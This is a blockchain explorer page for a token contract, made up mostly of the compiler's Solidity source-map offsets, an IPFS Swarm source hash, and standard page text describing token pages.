:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;15856:7;;15900:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15890:4;15895:1;15890:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15890:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;15961:11:::1;::::0;15929:56:::1;::::0;15946:4:::1;::::0;15961:11:::1;15975:9:::0;15929:8:::1;:56::i;:::-;15996:11;::::0;:190:::1;::::0;-1:-1:-1;;;15996:190:0;;-1:-1:-1;;;;;15996:11:0;;::::1;::::0;:62:::1;::::0;:190:::1;::::0;16073:9;;15996:11:::1;::::0;16113:4;;16140::::1;::::0;16160:15:::1;::::0;15996:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;9577:10:0;:18;;-1:-1:-1;;9577:18:0;;;-1:-1:-1;;;;15729:465:0:o;15620:101::-;15684:11;;15676:37;;-1:-1:-1;;;;;15684:11:0;;;;15676:37;;;;;15706:6;;15684:11;15676:37;15684:11;15676:37;15706:6;15684:11;15676:37;;;;;;;;;;;;;;;;;;;;;15620:101;:::o;15351:150::-;7020:10;15398:7;15425:30;;;:16;:30;;;;;;;;:67;;-1:-1:-1;15490:1:0;;11136:95::o;15425:67::-;-1:-1:-1;7020:10:0;;11136:95::o;5788:179::-;5846:7;;5878:5;5882:1;5878;:5;:::i;:::-;5866:17;;5907:1;5902;:6;;5894:46;;;;-1:-1:-1;;;5894:46:0;;13179:2:1;5894:46:0;;;13161:21:1;13218:2;13198:18;;;13191:30;13257:29;13237:18;;;13230:57;13304:18;;5894:46:0;12977:351:1;15088:139:0;15164:7;15207:11;:7;15217:1;15207:11;:::i;:::-;15199:19;;:5;:19;:::i;5975:136::-;6033:7;6060:43;6064:1;6067;6060:43;;;;;;;;;;;;;;;;;:3;:43::i;6711:189::-;6797:7;6832:12;6825:5;6817:28;;;;-1:-1:-1;;;6817:28:0;;;;;;;;:::i;:::-;-1:-1:-1;6856:9:0;6868:5;6872:1;6868;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;4949:251::-;5019:6;5072:2;5060:9;5051:7;5047:23;5043:32;5040:52;;;5088:1;5085;5078:12;5040:52;5120:9;5114:16;5139:31;5164:5;5139:31;:::i;6478:306::-;6566:6;6574;6582;6635:2;6623:9;6614:7;6610:23;6606:32;6603:52;;;6651:1;6648;6641:12;6603:52;6680:9;6674:16;6664:26;;6730:2;6719:9;6715:18;6709:25;6699:35;;6774:2;6763:9;6759:18;6753:25;6743:35;;6478:306;;;;;:::o;8817:128::-;8884:9;;;8905:11;;;8902:37;;;8919:18;;:::i;8950:125::-;9015:9;;;9036:10;;;9033:36;;;9049:18;;:::i;9080:135::-;9119:3;9140:17;;;9137:43;;9160:18;;:::i;:::-;-1:-1:-1;9207:1:1;9196:13;;9080:135::o;9563:217::-;9603:1;9629;9619:132;;9673:10;9668:3;9664:20;9661:1;9654:31;9708:4;9705:1;9698:15;9736:4;9733:1;9726:15;9619:132;-1:-1:-1;9765:9:1;;9563:217::o;10187:127::-;10248:10;10243:3;10239:20;10236:1;10229:31;10279:4;10276:1;10269:15;10303:4;10300:1;10293:15;10319:127;10380:10;10375:3;10371:20;10368:1;10361:31;10411:4;10408:1;10401:15;10435:4;10432:1;10425:15;10451:461;10504:3;10542:5;10536:12;10569:6;10564:3;10557:19;10595:4;10624:2;10619:3;10615:12;10608:19;;10661:2;10654:5;10650:14;10682:1;10692:195;10706:6;10703:1;10700:13;10692:195;;;10771:13;;-1:-1:-1;;;;;10767:39:1;10755:52;;10827:12;;;;10862:15;;;;10803:1;10721:9;10692:195;;;-1:-1:-1;10903:3:1;;10451:461;-1:-1:-1;;;;;10451:461:1:o;10917:358::-;11150:6;11139:9;11132:25;11193:2;11188;11177:9;11173:18;11166:30;11113:4;11213:56;11265:2;11254:9;11250:18;11242:6;11213:56;:::i;11280:1105::-;11375:6;11406:2;11449;11437:9;11428:7;11424:23;11420:32;11417:52;;;11465:1;11462;11455:12;11417:52;11498:9;11492:16;11527:18;11568:2;11560:6;11557:14;11554:34;;;11584:1;11581;11574:12;11554:34;11622:6;11611:9;11607:22;11597:32;;11667:7;11660:4;11656:2;11652:13;11648:27;11638:55;;11689:1;11686;11679:12;11638:55;11718:2;11712:9;11740:2;11736;11733:10;11730:36;;;11746:18;;:::i;:::-;11792:2;11789:1;11785:10;11824:2;11818:9;11887:2;11883:7;11878:2;11874;11870:11;11866:25;11858:6;11854:38;11942:6;11930:10;11927:22;11922:2;11910:10;11907:18;11904:46;11901:72;;;11953:18;;:::i;:::-;11989:2;11982:22;12039:18;;;12073:15;;;;-1:-1:-1;12115:11:1;;;12111:20;;;12143:19;;;12140:39;;;12175:1;12172;12165:12;12140:39;12199:11;;;;12219:135;12235:6;12230:3;12227:15;12219:135;;;12301:10;;12289:23;;12252:12;;;;12332;;;;12219:135;;;12373:6;11280:1105;-1:-1:-1;;;;;;;;11280:1105:1:o;12390:582::-;12689:6;12678:9;12671:25;12732:6;12727:2;12716:9;12712:18;12705:34;12775:3;12770:2;12759:9;12755:18;12748:31;12652:4;12796:57;12848:3;12837:9;12833:19;12825:6;12796:57;:::i;:::-;-1:-1:-1;;;;;12889:32:1;;;;12884:2;12869:18;;12862:60;-1:-1:-1;12953:3:1;12938:19;12931:35;12788:65;12390:582;-1:-1:-1;;;12390:582:1:o

Swarm Source

ipfs://1e6fd22b83d4fe751c0d651a23bd0f1e26ea90c5445acb699c1d12ee667144fb
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.